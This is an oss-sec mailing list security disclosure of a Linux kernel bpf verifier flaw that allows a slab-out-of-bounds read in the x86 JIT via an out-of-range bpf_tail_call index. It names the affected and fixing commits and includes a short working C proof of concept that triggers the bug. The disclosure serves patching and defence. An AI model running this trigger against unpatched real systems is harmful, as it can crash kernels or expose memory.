oss-sec mailing list archives

Linux kernel slab-out-of-bound read in bpf


From: Hsin-Wei Hung <hsinweih () uci edu>
Date: Fri, 26 Aug 2022 07:07:36 +0800

Hi,

We found an issue in the bpf subsystem of the Linux kernel that can cause a
slab-out-of-bound read. A bpf program calling bpf_tail_call with an index
larger than the max_entries can potentially pass the verifier. After that,
it will cause an out-of-bound access in the x86 JIT compiler. The root
cause is that tnum_range over-approximates the range of concrete values.

Affected kernel starts from v5.5 since commit, d2e4c1e6c294 (“bpf: Constant
map key tracking for prog array pokes”)

It has been fixed in commit, a657182a5c51 ("bpf: Don't use tnum_range on
array range checking for poke descriptors") in bpf/bpf.git.

The following code is a bpf PoC that can trigger the bug.

#include "/usr/local/include/vmlinux.h"
#include "/usr/include/bpf/bpf_helpers.h"

#define __uint(name, val) int (*name)[val]
#define __type(name, val) typeof(val) *name
#define __array(name, val) typeof(val) *name[]

#define SEC(name) \
        _Pragma("GCC diagnostic push")                                  \
        _Pragma("GCC diagnostic ignored \"-Wignored-attributes\"")      \
        __attribute__((section(name), used))                            \
        _Pragma("GCC diagnostic pop")

#define DEFINE_BPF_MAP(the_map, TypeOfMap, MapFlags, TypeOfKey,
TypeOfValue, MaxEntries) \
        struct {                                                        \
            __uint(type, TypeOfMap);                                    \
            __uint(map_flags, (MapFlags));                              \
            __uint(max_entries, (MaxEntries));                          \
            __type(key, TypeOfKey);                                     \
            __type(value, TypeOfValue);                                 \
        } the_map SEC(".maps");

DEFINE_BPF_MAP(map_0, BPF_MAP_TYPE_PROG_ARRAY, 0, uint32_t, uint32_t, 36);
SEC("cgroup/sock_create")
int func(struct bpf_sock *ctx) {
        int64_t v0 = 49;
        bpf_tail_call(ctx, &map_0, v0);
        return 0;
}
char _license[] SEC("license") = "GPL";


Thanks,
Hsin-Wei

Current thread: